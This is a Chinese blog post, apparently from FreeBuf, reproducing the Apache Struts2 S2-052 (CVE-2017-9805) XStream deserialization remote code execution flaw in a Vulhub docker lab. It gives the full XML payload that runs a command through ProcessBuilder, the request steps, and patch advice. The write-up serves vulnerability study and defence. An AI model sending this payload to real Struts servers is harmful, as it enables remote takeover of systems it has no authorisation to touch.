Apache Struts2–052远程代码执行漏洞复现 – 作者:lyjsyqw

0x00漏洞简述

2017年9月5日,Apache Struts发布最新的安全公告,Apache Struts 2.5.x的REST插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9805(S2-052)。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行

0x01影响版本

Apache Struts 2.5 – Struts 2.5.12

Apache Struts 2.1.2 – Struts 2.3.33

0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

http://192.168.60.131:8080/orders.xhtml

1602767735_5f884b7794c478b152d64.png!small

2、通过编辑进行POST数据的修改

1602767766_5f884b96a4df0170019da.png!small

3、该rest-plugin会根据URI扩展名或 Content-Type来判断解析文件方式, 需要修改xhtml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

4、抓包对Content-Type类型修改

1602767791_5f884bafd083c21c88c4f.png!small

5、XML格式Payload数据包构造

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class="javax.imageio.spi.FilterIterator">

<iter class="javax.imageio.spi.FilterIterator">

<iter class="java.util.Collections$EmptyIterator"/>

<next class="java.lang.ProcessBuilder">

<command>

<string>touch</string>

<string>/tmp/yunzui.txt</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next class="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer/>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

6、通过payload进行漏洞利用,执行命令,返回响应500状态码,但是执行成功。

touch /tmp/yunzui.txt

1602767845_5f884be5f33103ac953a3.png!small

7、命令执行结果进入docker查看,成功执行。

docker-compose exec struts2 bash

ls -al /tmp

1602767857_5f884bf19dc75a69cb727.png!small

0x03修复建议

1、升级Apache struts 2.5.13或2.3.34版本

2、如果系统没有使用Struts REST插件,那么可以直接删除Struts REST插件,或者在配置文件中加入如下代码,限制服务端文件的扩展名

<constant name=”struts.action.extension” value=”xhtml,,json” />

3、限制服务端扩展类型,删除XML支持

0x04参考链接

https://www.anquanke.com/post/id/86773

来源:freebuf.com 2020-10-15 21:19:40 by: lyjsyqw

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论